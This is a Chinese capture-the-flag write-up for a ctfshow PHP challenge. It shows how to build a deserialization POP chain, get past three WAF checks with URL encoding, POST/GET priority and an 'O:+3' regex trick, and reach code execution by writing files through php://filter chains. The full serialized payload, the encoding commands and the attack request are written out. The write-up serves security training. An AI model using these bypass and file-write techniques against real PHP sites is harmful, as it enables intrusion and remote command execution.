当前位置: 首页 > news >正文

CTF实战笔记:当POP链遇上三重WAF,我是如何用编码和传参技巧绕过的(以ctfshow赛题为例)

CTF实战:多层WAF下的POP链构造与编码技巧突破

在CTF竞赛中,Web安全题目常常设置多层防御机制来考验选手的综合渗透能力。本文将以一道典型的三重WAF赛题为例,系统讲解如何通过参数传递技巧、编码转换和伪协议的高级应用,构建完整的攻击链。

1. 题目环境与防御机制分析

这道CTF题目设置了四重防御关卡:

  1. WAF1:检查所有传入参数值,禁止包含任何字母字符(a-z, A-Z)
  2. WAF2:检测QUERY_STRING中是否包含"show"关键词
  3. 正则过滤:对反序列化字符串进行格式校验
  4. __wakeup魔术方法:直接抛出异常中断执行
// WAF1实现代码片段 function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } }

关键限制特征

  • 参数名必须使用show[show.show的特殊格式
  • 最终需要通过file_put_contents写入文件并执行
  • 所有字母字符都需要经过编码处理

2. POP链构造与序列化技巧

本题的POP链相对清晰,但需要注意参数传递的特殊结构:

ctf::__destruct() -> show::__call() -> Chu0_write::__toString()

序列化构造要点

  1. ctf类的h2属性需要特殊嵌套结构以满足__call的参数要求
  2. 所有类属性需要正确初始化以避免执行中断
  3. 必须绕过__wakeup的异常抛出
$pop = new ctf(); $pop->h1 = new show(); $pop->h2 = [[2 => new Chu0_write()]]; // 关键嵌套结构 echo serialize($pop);

生成的序列化字符串需要进一步处理以满足WAF要求,包括:

  • 所有字母字符进行URL编码
  • 参数名使用show[show.show格式
  • 通过POST传递参数值绕过WAF1

3. 多层WAF的绕过策略

3.1 WAF1的POST优先级绕过

利用$_REQUEST的传参特性,POST数据会覆盖GET数据:

POST: show[show.show=1 // WAF1检查此无字母的值 GET: ?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=... // 实际payload

3.2 WAF2的URL编码绕过

将关键参数名和值全部进行URL编码:

原始参数编码后
show_show.show%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77
O:3:"ctf"%4f%3a%2b%33%3a%22%63%74%66%22

3.3 正则过滤的格式绕过

题目要求反序列化字符串不能匹配/^[Oa]:[\d]/i,可通过以下方式绕过:

  • 使用O:+3代替O:3(PHP会忽略+号)
  • 确保属性数量与实际一致(避免C:类型绕过)

4. 文件操作与伪协议的高级应用

进入__toString后,需要通过文件操作实现RCE。题目限制只能写入.txt文件,且内容需要经过多重过滤。

关键步骤

  1. 利用php://filter链式过滤器处理原始内容
  2. 通过编码转换清空原有文件内容
  3. 植入可执行代码
// 编码转换过程示例 $filter_chain = 'convert.quoted-printable-decode'; $filter_chain .= '/convert.iconv.utf-16.utf-8'; $filter_chain .= '/convert.base64-decode/resource=ctfw'; file_put_contents( "php://filter/$filter_chain", iconv('utf-8', 'utf-16', base64_encode('system')) );

过滤器链的工作原理

  1. quoted-printable-decode:解码QP编码内容
  2. iconv.utf-16.utf-8:将UTF-16转回UTF-8
  3. base64-decode:解码时自动过滤非base64字符

通过这组过滤器,原始文件内容ctfshowshowshowwww会被转换为乱码并在base64解码阶段被过滤,最终只保留我们植入的有效载荷。

5. 完整攻击链构建

综合所有绕过技巧,最终攻击流程如下:

  1. 构造POP链序列化数据

    O:+3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}
  2. 进行URL编码处理

    echo -n 'O:+3:"ctf"...' | xxd -ps | sed 's/../%&/g'
  3. 设置请求参数

    GET /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f%3a%2b%33%3a%22%63%74%66%22...&name=php://filter/...&cmd=env POST: show[show.show=1
  4. 分阶段验证

    • 首先确认能绕过所有WAF到达__toString
    • 然后测试文件写入功能是否生效
    • 最后验证命令执行效果

在实际CTF比赛中,这类题目往往需要反复测试和调整。建议在本地搭建相似环境进行预演,特别是过滤器链的效果需要通过实际输出来验证。记住,绕过WAF的关键在于理解每一层防御的检测逻辑,并找到其处理流程中的盲点。

http://www.jsqmd.com/news/847147/

相关文章:

  • 运算放大器环路稳定性:从增益相位到补偿技术的实战指南
  • 本地视频怎么去水印?5款软件实测对比 + 2026最新方法指南 - 科技热点发布
  • OpenClaw 数据合规实践:日志/对话/记忆留存的 3 类分级策略
  • RK3568三屏显示实战:从设备树配置到Weston调试全解析
  • 关于浩卡联盟代理权限开通的说明|填写后自动生效,浩卡官方邀请码12345 - 资讯焦点
  • 告别死记硬背:用一张时序图+一个Verilog Testbench彻底搞懂AXI4握手(VALID/READY)
  • ARM64银河麒麟V10SP1下,自己动手编译grub2.06解决grub-mkrescue报错(附完整编译参数)
  • 别再只写业务代码了!用Kafka拦截器给你的消息系统加个“监控仪表盘”
  • 关于浩卡联盟开放代理权限的通知|填写即可入驻,浩卡官方邀请码12345 - 资讯焦点
  • 即梦APP手机怎样去水印?2026年即梦视频去水印全面教程 - 科技热点发布
  • 保姆级教程:用Cesium.js + 自定义Geometry实现无人机视频锥体投射(附完整代码)
  • 企业内如何通过Taotoken实现API Key的精细化访问控制与审计
  • 编码效率翻倍实测:OpenClaw 联动 Claude Code 实现 3 类数字员工协同的 4 步配置
  • TB5128HG-EVB评估板拆解:步进电机驱动设计、测试与调试全攻略
  • STM32与RT-Thread开源4+服务:构建高效嵌入式物联网开发新范式
  • Kali Rolling更新源GPG密钥过期?用这两个命令快速搞定(附2024年有效密钥下载方法)
  • 前端/Node.js开发者看过来:用你熟悉的JavaScript玩转性能测试(K6实战入门)
  • 即梦视频去水印怎么操作?即梦AI视频去水印教程和方法汇总 2026 - 科技热点发布
  • 手机就是遥控器:无需翻墙,国内版OpenClow接入钉钉机器人核心教程
  • 终极指南:HS2-HF_Patch汉化补丁完全免费使用手册
  • 想把脚本变成命令行工具?用argparse+装饰器10分钟搞定
  • 告别手动描图!用QGIS的‘Create Points from Table’和‘Points to Path’插件,5步搞定手机采集数据的自动化矢量化
  • Vibe Coding 单工具开发模板:5 个标准化步骤实现内部工具批量交付
  • 即梦APP怎么去水印保存图片?即梦生成的图片如何无损保存?2026实测完整指南 - 科技热点发布
  • 深度解析炉石传说智能脚本:从游戏辅助到技术生态的进阶之路
  • 2026 最新流量卡代理平台哪个好?流量卡分销平台真实口碑测评|172 号卡官方推荐 - 172号卡
  • 如何用Python词达人自动化工具提升10倍英语学习效率
  • 如何快速配置PlotSquared:Minecraft领地管理完整教程
  • 从BUCK降压到运放稳定:电路设计实战中的关键细节与避坑指南
  • 2024 计算机视觉毕业设计:从选题到实战的避坑指南与前沿方向解析